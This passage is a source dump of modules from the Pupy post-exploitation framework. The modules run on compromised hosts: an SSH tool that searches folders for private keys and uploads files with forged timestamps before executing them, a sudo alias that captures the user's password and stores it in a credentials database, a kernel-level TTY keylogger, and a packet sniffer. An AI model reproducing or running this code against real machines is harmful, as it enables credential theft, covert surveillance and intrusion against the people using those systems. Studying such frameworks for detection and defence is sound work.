cls.arg_parser.add_subparsers(dest='command')\n\n        key_scan = commands.add_parser('scan')\n        key_scan.add_argument('host', help='host(s) to connect')\n        key_scan.add_argument(\n            'key_type', choices=(\n                'ssh-ed25519', 'ecdsa-sha2-nistp256', 'ecdsa-sha2-nistp384',\n                'ecdsa-sha2-nistp521', 'ssh-rsa', 'ssh-dss'\n            ), default=None, help='Key type to scan', nargs='?'\n        )\n        key_scan.set_defaults(func=cls.key_scan)\n\n        rexec = commands.add_parser('exec')\n        rexec.add_argument('host', help='host(s) to connect')\n        rexec.add_argument(\n            'command', nargs=REMAINDER, help='Command line to execute (non interactive)')\n        rexec.set_defaults(func=cls.rexec)\n\n        upload = commands.add_parser('upload')\n        upload.add_argument('-t', '--relative-timestamp', default='/bin/sh',\n                            help='Set creation time same as specified binary')\n        upload.add_argument('-m', '--chmod', help='Set file mode')\n        upload.add_argument('-o', '--chown', help='Set file owner')\n        upload.add_argument('-E', '--execute', action='store_true', help='Execute file after upload')\n        upload.add_argument('-U', '--unlink', action='store_true', help='Unlink file before & after upload')\n        upload.add_argument('host', help='Remote host(s)')\n        upload.add_argument('src_path', help='Upload file or directory')\n        upload.add_argument('dst_path', help='Remote destination')\n        upload.set_defaults(func=cls.upload)\n\n        download = commands.add_parser('download')\n        download.add_argument('-t', '--tar', action='store_true',\n                              help='Use tar instead of cat (to download dirs)')\n        download.add_argument('host', help='Remote host(s)')\n        download.add_argument('src_path', help='Remote destination')\n        download.add_argument('dst_path', nargs='?', help='Local destination (folder)')\n        download.set_defaults(func=cls.download)\n\n        hosts = commands.add_parser('hosts')\n        hosts.add_argument('host', nargs='?', help='Show info for host')\n        hosts.set_defaults(func=cls.hosts)\n\n    def run(self, args):\n        if args.func is False:\n            self.log(self.arg_parser.format_help())\n            return\n\n        elif args.func == SSH.hosts:\n            args.func(self, args)\n            return\n\n        if args.func != SSH.key_scan:\n            if args.private_keys:\n                self.pkeys = list(self._find_private_keys(args.private_keys))\n\n            args.host = tuple([\n                x.strip() for x in args.host.split(',')\n            ])\n\n            if args.port:\n                args.port = int(args.port)\n\n        self.waiter = Event()\n\n        try:\n            if args.func(self, args):\n                self.waiter.wait()\n\n        finally:\n            self.closer = None\n\n    def hosts(self, args):\n        get_hosts = self.client.remote('ssh', 'ssh_hosts')\n        records = get_hosts()\n\n        if args.host:\n            for user, hosts in records.items():\n                for alias, host in hosts.items():\n                    if args.host == alias or args.host == host.get('hostname'):\n                        self.log(Table([{\n                            'KEY':k, 'VALUE': ','.join(v) if type(v) == list else v\n                        } for k,v in host.items()],\n                        ['KEY', 'VALUE'], Color('{}, user={}'.format(alias, user), 'yellow')))\n\n        else:\n            for user, hosts in records.items():\n                self.log(Table([{\n                    'ALIAS':alias,\n                    'USER':hosts[alias].get('user', user),\n                    'HOST':hosts[alias]['hostname'],\n                    'PORT':hosts[alias].get('port', 22),\n                    'KEY':','.join(hosts[alias].get('identityfile', []))\n                } for alias in hosts if 'hostname' in hosts[alias] and not alias == '*'],\n                ['ALIAS', 'USER', 'HOST', 'PORT', 'KEY'], Color('User: {}'.format(user), 'yellow')))\n\n    def _handle_on_data(self, args, data_cb, connect_cb=None, complete_cb=None):\n        msg_type = args[0]\n        if msg_type == 0:\n            connected, host, port, user = args[1:]\n            if connected:\n                self.error('No credentials to auth to: {}{}:{}'.format(\n                    user + '@' or '', host, port))\n            else:\n                self.error('Could not connect to {}:{}'.format(host, port))\n        elif msg_type == 4:\n            host, port, user, password, key_password, key, key_path, agent_socket, auto, cached = args[1:]\n            key_info = ''\n\n            if password:\n                key_info = ' auth:password={}'.format(password)\n            elif key_path:\n                key_info = ' auth:key={}'.format(key_path)\n            elif key:\n                key_info = ' auth:key'\n            elif agent_socket:\n                key_info = ' auth:agent={}'.format(agent_socket)\n            elif auto:\n                key_info = ' auth:auto'\n\n            if key_password:\n                key_info += ' key_password={}'.format(key_password)\n\n            if cached:\n                key_info += ' [cached]'\n\n            self.success('Connected to {}{}:{}{}'.format(\n                user + '@' if user else '', host, port, key_info))\n\n            self.current_connection_info.update({\n                'host': host,\n                'port': port,\n                'user': user,\n                'password': password,\n                'key': key,\n                'key_path': key_path,\n                'auto': auto,\n                'cached': cached,\n             })\n            if connect_cb:\n                connect_cb()\n\n        elif msg_type == 1:\n            data_cb(args[1])\n        elif msg_type == 3:\n            self.error(args[1])\n        elif msg_type == 2:\n            self.current_connection_info.clear()\n            if args[1] == 0:\n                self.success('Completed')\n                if complete_cb:\n                    complete_cb(True)\n            else:\n                self.error('Completed with error={}'.format(args[1]))\n                if complete_cb:\n                    complete_cb(False)\n\n    def key_scan(self, args):\n        key_scan = self.client.remote('ssh', 'ssh_keyscan', False)\n\n        def on_data(host, port, success, payload):\n            if success is False:\n                self.error('{}:{} - {}'.format(host, port, payload))\n            elif success is None:\n                # Print nothing\n                # self.error('{}:{} - no connection'.format(host, port))\n                pass\n            else:\n                name, fingerprint, publickey = payload\n                self.success('{}:{} {} {} {}'.format(host, port, name, fingerprint, publickey))\n\n        def on_complete(connectable):\n            self.waiter.set()\n\n        self.closer = key_scan(\n            args.host, args.port, args.key_type, on_data, on_complete, args.timeout\n        )\n\n        return True\n\n    def rexec(self, args):\n        rexec = self.client.remote('ssh', 'ssh_exec', False)\n\n        command = ' '.join(args.command)\n        if not command:\n            self.error('Command should not be empty')\n            return\n\n        def on_data(args):\n            self._handle_on_data(args, self.stdout.write)\n\n        self.closer = rexec(\n            command,\n            args.host, args.port, args.user, (\n                tuple(args.password), tuple(args.key_password)),\n            self.pkeys, on_data, self.waiter.set, args.timeout\n        )\n\n        return True\n\n    def download(self, args):\n        download_file = self.client.remote('ssh', 'ssh_download_file', False)\n        download_tar = self.client.remote('ssh', 'ssh_download_tar', False)\n\n        download = download_tar if args.tar else download_file\n\n        filesdir = args.dst_path or self.client.pupsrv.config.get_folder(\n            'downloads', {'%c': self.client.short_name()})\n\n        current_file_obj = [None]\n\n        def create_file_obj():\n            folder_path = path.join(filesdir, 'ssh', '{user}-{host}-{port}'.format(\n                **self.current_connection_info))\n\n            try:\n                makedirs(folder_path)\n            except OSError as e:\n                if e.errno != EEXIST:\n                    raise\n\n            file_name = args.src_path.strip('/').replace('/', '_')\n            if args.tar:\n                file_name += '.tgz'\n\n            if file_name == '.tgz':\n                file_name = 'rootfs.tgz'\n\n            file_path = path.join(folder_path, file_name)\n            if path.isfile(file_path):\n                unlink(file_path)\n\n            current_file_obj[0] = open(file_path, 'wb')\n\n        def close_file_obj(ok):\n            current_file_obj[0].close()\n            if ok:\n                self.success('Downloaded {} -> {}'.format(args.src_path, current_file_obj[0].name))\n            else:\n                unlink(current_file_obj[0].name)\n                self.error('Downloaded {} -> {} <failed>'.format(args.src_path, current_file_obj[0].name))\n\n        def write_file_obj(data):\n            current_file_obj[0].write(data)\n\n        def on_data(args):\n            self._handle_on_data(args, write_file_obj, create_file_obj, close_file_obj)\n\n        self.closer = download(\n            args.src_path,\n            args.host, args.port, args.user, (\n                tuple(args.password), tuple(args.key_password)), self.pkeys,\n            on_data, self.waiter.set, args.timeout\n        )\n\n        return True\n\n    def upload(self, args):\n        upload_file = self.client.remote('ssh', 'ssh_upload_file', False)\n\n        input_stat = stat(args.src_path)\n\n        if S_ISDIR(input_stat.st_mode):\n            self.error('Directory upload is not supported. Use tar (manually)')\n            return\n\n        input_obj = open(args.src_path, 'rb')\n\n        def on_complete(success):\n            input_obj.close()\n\n        def on_data(args):\n            self._handle_on_data(args, self.stdout.write, complete_cb=on_complete)\n\n        self.closer = upload_file(\n            input_obj.read, args.dst_path,\n            args.chmod or (input_stat.st_mode & 0o777),\n            args.relative_timestamp, args.chown, args.execute, args.unlink,\n            args.host, args.port, args.user, (\n                tuple(args.password), tuple(args.key_password)), self.pkeys,\n            on_data, self.waiter.set, args.timeout\n        )\n\n        return True\n\n    def interrupt(self):\n        if self.closer is not None:\n            self.closer()\n            self.closer = None\n\n        if self.waiter:\n            self.waiter.set()\n\n    def _find_private_keys(self, fpath):\n        if path.isfile(fpath):\n            try:\n                with open(fpath) as content:\n                    yield content.read()\n\n            except OSError:\n                pass\n\n            return\n\n        for root, _, files in walk(fpath):\n            for sfile in files:\n                try:\n                    sfile_path = path.join(root, sfile)\n                    with open(sfile_path) as content:\n                        first_line = content.readline(256)\n                        if 'PRIVATE KEY-----' in first_line:\n                            yield first_line + content.read()\n\n                except (OSError, IOError):\n                    pass\n"
  },
  {
    "path": "pupy/modules/sshell.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport sys\n\nfrom argparse import REMAINDER\n\nfrom io import open\nfrom os import path, environ, walk\n\nif sys.version_info.major > 2:\n    from urllib.parse import urlparse\nelse:\n    from urlparse import urlparse\n\nfrom pupy.network.lib.rpc import nowait\n\nfrom pupy.pupylib.PupyCompleter import path_completer\nfrom pupy.pupylib.PupyModule import (\n    config, PupyModule, PupyArgumentParser,\n    REQUIRE_TERMINAL\n)\n\n__class_name__=\"SSHell\"\n@config(cat='admin')\nclass SSHell(PupyModule):\n    \"\"\"\n        Interactive SSH shell\n    \"\"\"\n\n    rec = 'ttyrec'\n\n    io = REQUIRE_TERMINAL\n\n    dependencies = [\n        'paramiko', 'cryptography', 'ecdsa', 'ssh'\n    ]\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(description=cls.__doc__)\n        cls.arg_parser.add_argument('-T', '--timeout',\n                                    type=int, default=30, help='Set communication timeout (default 30s)')\n        cls.arg_parser.add_argument('-R', default='asciinema', dest='recorder',\n                                         choices=['ttyrec', 'asciinema', 'asciinema1', 'none'],\n                                         help=\"Change tty recorder\")\n        cls.arg_parser.add_argument('-u', '--user', help='Use user name')\n        cls.arg_parser.add_argument('-p', '--port', type=int, help='Use port')\n        cls.arg_parser.add_argument('-P', '--passwords',\n                                    action='append', default=[],\n                                    help='Use SSH auth password (can specify many times)')\n        cls.arg_parser.add_argument('-KP', '--key-passwords',\n                                    action='append', default=[],\n                                    help='Use SSH key password (can specify many times)')\n        cls.arg_parser.add_argument('-k', '--private-keys', help='Use private keys (Use \",\" as path separator)',\n                                    completer=path_completer)\n        cls.arg_parser.add_argument('host', help='host to connect')\n        cls.arg_parser.add_argument('program', nargs=REMAINDER, help='Execute in remote SSH session shell')\n\n    def init(self, args):\n        if args.recorder == 'none':\n            self.rec = None\n        else:\n            self.rec = args.recorder\n\n        PupyModule.init(self, args)\n\n    def run(self, args):\n        if 'linux' not in sys.platform:\n            raise NotImplementedError('Interactive shell is not supported for this platform')\n\n        # Hooks\n\n        # self.stdout may be mapped to self.iogroup.stdout via logger\n        # TODO: Logger refactoring - migrate to IOGroup?\n\n        term = environ.get('TERM', 'xterm')\n\n        ssh_interactive = self.client.remote('ssh', 'ssh_interactive', False)\n\n        h, w, hp, wp = self.iogroup.window_size\n\n        host = args.host\n\n        if '://' not in host:\n            host = 'ssh://' + host\n\n        uri = urlparse(host)\n        host = uri.hostname\n        port = args.port or uri.port or 22\n        user = args.user or uri.username\n        u_pwd = [uri.password] if uri.password else []\n        passwords = (args.passwords or tuple(u_pwd),\n                    tuple(args.key_passwords))\n        program = ' '.join(args.program) or None\n\n        exit_status = [-1]\n\n        private_keys = None\n        if args.private_keys:\n            private_keys = tuple(list(self._find_private_keys(args.private_keys)))\n\n        def write(data):\n            if not self.iogroup.closed:\n                self.stdout.write(data)\n\n        def local_close(iogroup):\n            iogroup.close()\n\n        def remote_close(remote_exit_status):\n            exit_status[0] = remote_exit_status\n            self.iogroup.close()\n\n        try:\n            attach, writer, resizer, closer = ssh_interactive(\n                term, w, h, wp, hp,\n                host, port, user, passwords, private_keys,\n                program, write, remote_close, args.timeout\n            )\n\n        except Exception as e:\n            self.error(e.args[0])\n            return\n\n        self.client.conn.register_remote_cleanup(closer)\n\n        remote_write = nowait(writer)\n\n        self.iogroup.set_on_winch(nowait(resizer))\n        self.iogroup.set_mapping('~~~.', local_close)\n\n        with self.iogroup:\n            attach()\n\n            for data in self.iogroup:\n                remote_write(data)\n\n        self.client.conn.unregister_remote_cleanup(closer)\n        closer()\n\n        if exit_status[0] == 0:\n            self.success('SSH closed')\n        else:\n            self.error('SSH closed ({})'.format(exit_status[0]))\n\n    def _find_private_keys(self, fpath):\n        if path.isfile(fpath):\n            try:\n                with open(fpath) as content:\n                    yield content.read()\n\n            except OSError:\n                pass\n\n            return\n\n        for root, dirs, files in walk(fpath):\n            for sfile in files:\n                try:\n                    sfile_path = path.join(root, sfile)\n                    with open(sfile_path) as content:\n                        first_line = content.readline(256)\n                        if 'PRIVATE KEY-----' in first_line:\n                            yield first_line + content.read()\n\n                except (OSError, IOError):\n                    pass\n"
  },
  {
    "path": "pupy/modules/stat.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport sys\n\nfrom pupy.modules.lib import size_human_readable, file_timestamp\n\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\nfrom pupy.pupylib.PupyCompleter import remote_path_completer\nfrom pupy.pupylib.PupyOutput import Table, Line, List, MultiPart\n\nfrom magic import Magic\n\nfrom M2Crypto.X509 import load_cert_string, FORMAT_DER\nfrom argparse import REMAINDER\n\nfrom pupy.network.lib.convcompat import as_unicode_string\n\nif sys.version_info.major > 2:\n    basestring = str\n\n__class_name__ = 'FStat'\n\n\n@config(cat='admin', compat=['windows', 'linux'])\nclass FStat(PupyModule):\n    '''Show a bit more info about file path. ACLs/Caps/Owner for now'''\n\n    dependencies = {\n        'all': [\n            'pupyutils.basic_cmds', 'fsutils', 'fsutils_ext'\n        ],\n        'windows': ['junctions', 'ntfs_streams', 'pupwinutils.security'],\n        'linux': ['xattr', 'posix1e', 'prctl', '_prctl']\n    }\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(\n            prog='stat', description=cls.__doc__\n        )\n        cls.arg_parser.add_argument(\n            '-v', '--verbose', action='store_true', default=False,\n            help='Print more information (certificates for example)'\n        )\n        cls.arg_parser.add_argument(\n            'path', type=str, nargs=REMAINDER,\n            help='path of a specific file', completer=remote_path_completer)\n\n    def run(self, args):\n        getfilesec = self.client.remote('fsutils_ext', 'getfilesec')\n\n        path = ' '.join(args.path)\n\n        try:\n            sec = getfilesec(path)\n        except Exception as e:\n            raise\n            self.error(\n                ' '.join(x for x in e.args if isinstance(x, basestring))\n            )\n            return\n\n        ctime, atime, mtime, size, owner, group, header, mode, extra = sec\n\n        owner_id, owner_name, owner_domain = owner\n        group_id, group_name, group_domain = group\n\n        default = {\n            'Created': file_timestamp(ctime, time=True),\n            'Accessed': file_timestamp(atime, time=True),\n            'Modified': file_timestamp(mtime, time=True),\n            'Size': '{} ({})'.format(size_human_readable(size), size),\n            'Owner': '{}{} ({})'.format(\n                (\n                    as_unicode_string(owner_domain) + '\\\\'\n                ) if owner_domain else '',\n                as_unicode_string(owner_name) if owner_name else '',\n                owner_id,\n            ),\n            'Group': '{}{} ({})'.format(\n                (\n                    as_unicode_string(group_domain) + '\\\\'\n                ) if group_domain else '',\n                as_unicode_string(group_name) if group_name else '',\n                group_id,\n            ),\n            'Mode': mode,\n        }\n\n        infos = []\n\n        infos.append(Table([\n            {'Property': p, 'Value': default[p]} for p in (\n                'Created', 'Accessed', 'Modified',\n                'Size', 'Owner', 'Group', 'Mode'\n            )\n        ], ['Property', 'Value'], legend=False))\n\n        oneliners = []\n\n        certificates = None\n\n        for extra, values in extra.items():\n            if extra == 'Certificates':\n                certificates = [\n                    load_cert_string(\n                        cert, FORMAT_DER\n                    ).as_text() for cert in values\n                ]\n            elif isinstance(values, dict):\n                records = [{\n                    'KEY': as_unicode_string(k),\n                    'VALUE': as_unicode_string(v, fail='convert')\n                } for k, v in values.items()]\n\n                infos.append(\n                    Table(records, ['KEY', 'VALUE'], caption=extra)\n                )\n            elif isinstance(values, (list, tuple)):\n                if all(isinstance(\n                    value, (list, tuple)) and len(value) == 2\n                        for value in values):\n                    infos.append(List(\n                        '{}: {}'.format(key, value) for key, value in values\n                    ))\n                else:\n                    infos.append(List(values, caption=extra))\n            elif isinstance(values, int):\n                oneliners.append('{}: {}'.format(extra, values))\n            elif '\\n' in values:\n                infos.append(Line(extra+':', values))\n            else:\n                oneliners.append(extra+': ' + values)\n\n        if args.verbose:\n            magic = ''\n            if header:\n                with Magic() as libmagic:\n                    magic = libmagic.id_buffer(header)\n\n            if magic:\n                oneliners.append('Magic: {}'.format(magic))\n\n            if certificates:\n                infos.extend(certificates)\n\n        if oneliners:\n            infos.append(List(oneliners, caption='Other'))\n\n        self.log(MultiPart(infos))\n"
  },
  {
    "path": "pupy/modules/sudo_alias.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\nfrom pupy.pupylib.utils.credentials import Credentials\n\n__class_name__=\"SudoAlias\"\n\n@config(compat=['linux', 'darwin'], cat=\"admin\")\nclass SudoAlias(PupyModule):\n    \"\"\" write an alias for sudo to retrieve user password \"\"\"\n\n    dependencies = ['sudo_alias']\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(prog=\"sudo_alias\", description=cls.__doc__)\n        cls.arg_parser.add_argument('action', choices=['start', 'stop', 'dump'])\n\n    def run(self, args):\n        if args.action==\"start\":\n            if not self.client.conn.modules[\"sudo_alias\"].sudo_alias_start():\n                self.error(\"the alias already exists\")\n            else:\n                self.success(\"the alias has been created. Waiting for a user to run a sudo command...\")\n        elif args.action==\"dump\":\n            data = self.client.conn.modules[\"sudo_alias\"].sudo_alias_dump()\n            if not data:\n                self.error(\"nothing find, be patient !\")\n            else:\n                self.success(\"Sudo password found: %s\" % data)\n\n                # add password to the database\n                username = data.split('/')[0]\n                password = data.replace(username, '')[1:]\n                db = Credentials(client=self.client, config=self.config)\n                db.add([{\n                    'Login': username,\n                    'password':password,\n                    'CredType': 'plaintext',\n                    'Category': 'System password'\n                }])\n                self.success(\"Credentials stored on the database\")\n\n        elif args.action==\"stop\":\n            if not self.client.conn.modules[\"sudo_alias\"].sudo_alias_stop():\n                self.error('the alias has not been created yet (run start)')\n            else:\n                self.success('everyhing has been stopped and cleaned')\n"
  },
  {
    "path": "pupy/modules/tasks.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n__class_name__=\"Tasks\"\n\nfrom pupy.pupylib.PupyModule import PupyArgumentParser, PupyModule, config\nfrom pupy.pupylib.PupyOutput import Table, Color\nfrom pupy.pupylib.utils.rpyc_utils import obtain\n\n@config(cat='manage')\nclass Tasks(PupyModule):\n    ''' Get info about registered background tasks '''\n\n    dependencies = ['tasks']\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(prog='tasks', description=cls.__doc__)\n\n    def run(self, args):\n        agent = self.client.remote('pupy.agent')\n        active = obtain(agent.manager.status)\n        data = []\n        for task, state in active.items():\n            color = 'grey'\n            if state['active']:\n                color = 'lightgreen'\n            elif state['results']:\n                color = 'cyan'\n\n            data.append({\n                'TASK': Color(task, color),\n                'ACTIVE': Color('Y' if state['active'] else 'N', color),\n                'RESULTS': Color('Y' if state['results'] else 'N', color),\n            })\n\n        self.log(Table(data, ['TASK', 'ACTIVE', 'RESULTS']))\n"
  },
  {
    "path": "pupy/modules/tcpdump.py",
    "content": "# -*- coding: utf-8 -*-\n# Copyright (c) 2017, Nicolas VERDIER (contact@n1nj4.eu)\n# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport sys\nimport logging\nlogging.getLogger(\"scapy.runtime\").setLevel(logging.ERROR)\n\nfrom threading import Event\n\nfrom pupy.pupylib.PupyModule import (\n    config, PupyModule, PupyArgumentParser\n)\n\nif sys.version_info.major > 2:\n    basestring = str\n\n__class_name__ = \"TcpdumpModule\"\n\n\n@config(cat=\"network\", tags=[\"sniff\", \"pcap\"])\nclass TcpdumpModule(PupyModule):\n    \"\"\" module to reproduce some of the classic tcpdump tool functions \"\"\"\n\n    dependencies = (\n        'scapy',\n        'tcpdump'\n    )\n\n    terminate = None\n    wait = Event()\n\n    @classmethod\n    def init_argparse(cls):\n        example = 'Example:\\n'\n        example += '>> tcpdump -i eth0 --bpf tcp.port==80 -s\\n'\n\n        cls.arg_parser = PupyArgumentParser(prog='tcpdump.py', description=cls.__doc__, epilog=example)\n        cls.arg_parser.add_argument(\"-s\", \"--save-pcap\", action=\"store_true\", help=\"save to a pcap file\")\n        cls.arg_parser.add_argument(\"--count\", type=int, default=0, help=\"sniff at max n packets\")\n        cls.arg_parser.add_argument(\"-i\", \"--iface\", default=None, help=\"change default iface\")\n        cls.arg_parser.add_argument(\"--timeout\", type=int, default=None, help=\"stop the capture after timeout seconds\")\n        # yup mandatory cause you have to put pupy's IP/PORT anyway\n        cls.arg_parser.add_argument(\"--bpf\", required=True, help=\"use a BPF (Warning: It is highly advised to whitelist\"\n                                                                 \" pupy's shell IP/PORT you are currently using to \"\n                                                                 \"avoid a nasty Larsen effect)\")\n        # cls.arg_parser.add_argument(\"command\", choices=[\"start\", \"stop\"])\n\n    def printer(self, pcap_writer=None, print_summary=True):\n        from scapy.all import Ether\n        def pkt_callback(pkt):\n            try:\n                pkt = Ether(pkt)\n            except Exception as e:\n                self.exception(e)\n\n            if pcap_writer is not None:\n                pcap_writer.write(pkt)\n\n            if print_summary:\n                self.log(pkt.summary())\n\n        return pkt_callback\n\n    def on_error(self, error=None):\n        if error:\n            self.error('Scapy error: {}'.format(error))\n\n        self.wait.set()\n\n    def run(self, args):\n        self.sniff_sess = None\n\n        filepath = None\n\n        if self.client.is_windows():\n            from modules.lib.windows.winpcap import init_winpcap\n            init_winpcap(self.client)\n\n        pktwriter = None\n\n        if args.save_pcap:\n            from scapy.all import PcapWriter\n            config = self.client.pupsrv.config\n            filepath = config.get_file('pcaps', {'%c': self.client.short_name()})\n            pktwriter = PcapWriter(filepath, append=True, sync=True)\n\n        tcpdump = self.client.remote('tcpdump', 'run', False)\n\n        self.wait.clear()\n\n        try:\n            name, self.terminate = tcpdump(\n                self.printer(pcap_writer=pktwriter),\n                self.on_error,\n                args.iface,\n                args.bpf,\n                args.timeout,\n                count=args.count)\n\n            self.success(u'Scapy tcpdump on \"{}\" - started'.format(name))\n            self.wait.wait()\n            self.success(u'Scapy tcpdump on \"{}\" - completed'.format(name))\n\n            if filepath:\n                self.info('Pcap stored to: {}'.format(filepath))\n\n        except Exception as e:\n            self.wait.set()\n            self.error(\n                'Error: ' + ' '.join(x for x in e.args if isinstance(x, basestring))\n            )\n\n    def interrupt(self):\n        if self.terminate:\n            self.terminate()\n\n        self.wait.set()\n"
  },
  {
    "path": "pupy/modules/text_to_speach.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser\n\n__class_name__=\"AndroidTTS\"\n\n@config(compat=\"android\", cat=\"troll\", tags=[\"speech\", \"speak\", \"sound\"])\nclass AndroidTTS(PupyModule):\n    \"\"\" Use Android text to speach to say something :) \"\"\"\n\n    dependencies=['pupydroid.text_to_speech']\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(prog=\"tts\", description=cls.__doc__)\n        cls.arg_parser.add_argument('--lang', default='US', help='change the locale')\n        cls.arg_parser.add_argument('text', help='text to speak out loud')\n\n    def run(self, args):\n        self.client.conn.modules['pupydroid.text_to_speech'].speak(args.text, lang=args.lang)\n        self.success(\"The truth has been spoken !\")\n"
  },
  {
    "path": "pupy/modules/ttyrec.py",
    "content": "# -*- coding: utf-8 -*-\n\n# To build module to extract proper offsets:\n# > cat find_offsets.c\n# #include <linux/tty.h>\n# #include <linux/tty_driver.h>\n# #include <linux/tty_flip.h>\n#\n# int tty_get_x(struct tty_struct *tty) {\n#     return tty->winsize.ws_row\n# }\n# EXPORT_SYMBOL(tty_get_x)\n#\n# const char * tty_get_name(struct tty_struct *tty) {\n#     return tty->name\n# }\n# EXPORT_SYMBOL(tty_get_name)\n#\n# int tty_get_y(struct tty_struct *tty) {\n#     return tty->winsize.ws_col\n# }\n# EXPORT_SYMBOL(tty_get_y)\n#\n# static struct tty_struct *file_tty(struct file *file)\n# {\n# \treturn ((struct tty_file_private *)file->private_data)->tty\n# }\n# EXPORT_SYMBOL(file_tty)\n#\n# > cat Makefile\n# obj-m += find_offsets.o\n# all:\n#     make -C $(KERNELDIR) M=$(PWD) modules\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport sys\nimport os\nimport zlib\nimport struct\nimport json\n\nfrom io import open\n\nif sys.version_info.major > 2:\n    from io import BytesIO\nelse:\n    from StringIO import StringIO as BytesIO\n\nfrom pupy.pupylib.PupyModule import PupyModule, PupyArgumentParser\nfrom pupy.pupylib.PupyModule import config\n\nTTYREC_EVENT = 0x14000001\n\n__events__ = {\n    TTYREC_EVENT: 'keylogger'\n}\n\n__class_name__ = 'TTYRec'\n\n\ndef _to_unicode(x):\n    for charset in ('utf-8', 'utf-16le', 'latin-1'):\n        try:\n            return x.decode(charset)\n        except UnicodeDecodeError:\n            pass\n\n    return x\n\n\ndef _to_int(x):\n    if x is None:\n        return None\n    elif isinstance(x, (int, long)):\n        return x\n    elif x.startswith('0x'):\n        return int(x[2:], 16)\n    else:\n        return int(x)\n\n\n@config(cat='gather', compat=['linux'])\nclass TTYRec(PupyModule):\n    '''\n    Globally capture intput/output to TTY. Compatible with kernels\n    which have KProbes tracing. Right now backed module tested/works\n    only on AMD64.\n    To use this module you need to have offsets for your kernel:\n        name: (struct tty_struct *tty)->name\n        winsize: (struct tty_struct *tty)->winsize.ws_row\n        private: ((struct tty_file_private *)file->private_data)->tty\n    '''\n\n    unique_instance = True\n\n    dependencies = {\n        'linux': ['ttyrec']\n    }\n\n    header = struct.Struct('<I8s16ssIfI')\n\n    @classmethod\n    def init_argparse(cls):\n        cls.arg_parser = PupyArgumentParser(prog='ttyrec', description=cls.__doc__)\n        commands = cls.arg_parser.add_subparsers(help='commands')\n        start = commands.add_parser('start', help='Start TTYRec')\n        start.add_argument('name', help='TTY name offset')\n        start.add_argument('winsize', help='TTY winsize offset')\n        start.add_argument('private', help='TTY private offset')\n        start.set_defaults(func=cls.start)\n\n        dump = commands.add_parser('dump', help='Dump TTYRec results')\n        dump.set_defaults(func=cls.dump)\n\n        stop = commands.add_parser('stop', help='Stop TTYRec')\n        stop.set_defaults(func=cls.stop)\n\n    def start(self, args):\n        start = self.client.remote('ttyrec', 'start', False)\n\n        if start(\n            event_id=TTYREC_EVENT,\n                name=_to_int(args.name),\n                winsize=_to_int(args.winsize),\n                tty_private=_to_int(args.private)):\n            self.success('TTYRec started')\n\n    def stop(self, args):\n        self.dump(args)\n        stop = self.client.remote('ttyrec', 'stop', False)\n        if stop():\n            self.success('TTYRec stopped')\n\n    def dump(self, args):\n        dump = self.client.remote('ttyrec', 'dump', False)\n        data = dump()\n\n        if not data:\n            return\n\n        dumpdir = self.config.get_folder('records', {'%c': self.client.short_name()})\n        dests = {}\n\n        data = BytesIO(zlib.decompress(data))\n\n        while True:\n            header = data.read(self.header.size)\n            if not header:\n                break\n\n            session, tty, comm, probe, pid, timestamp, lbuf = \\\n                self.header.unpack(header)\n\n            comm = comm.strip().strip('\\0')\n            tty = tty.strip()\n            filename = '{:08x}.{}.cast'.format(session, tty)\n\n            pid = str(pid)\n            lbuf = int(lbuf)\n            resize = None\n\n            payload = data.read(lbuf)\n\n            if probe == 'R':\n                resize = struct.unpack('<HH', payload)\n\n            if filename not in dests:\n                dest = os.path.join(dumpdir, filename)\n                self.info('{} -> {}'.format(tty, dest))\n\n                is_append = os.path.exists(dest)\n                dests[filename] = open(dest, 'ab')\n\n                if not is_append:\n                    header = {\n                        'version':2,\n                        'timestamp': timestamp,\n                    }\n\n                    if resize:\n                        payload = None\n                        header.update({\n                            'width': resize[0],\n                            'height': resize[1],\n                        })\n\n                    json.dump(header, dests[filename])\n                    dests[filename].write('\\n')\n\n            elif resize:\n                payload = '\\033[18;{};{}t'.format(resize[1], resize[0])\n\n            if payload:\n                json.dump([\n                    timestamp, probe, _to_unicode(payload)\n                ], dests[filename])\n                dests[filename].write('\\n')\n\n        for f in dests.values():\n            f.close()\n\n    def run(self, args):\n        args.func(self, args)\n"
  },
  {
    "path": "pupy/modules/upload.py",
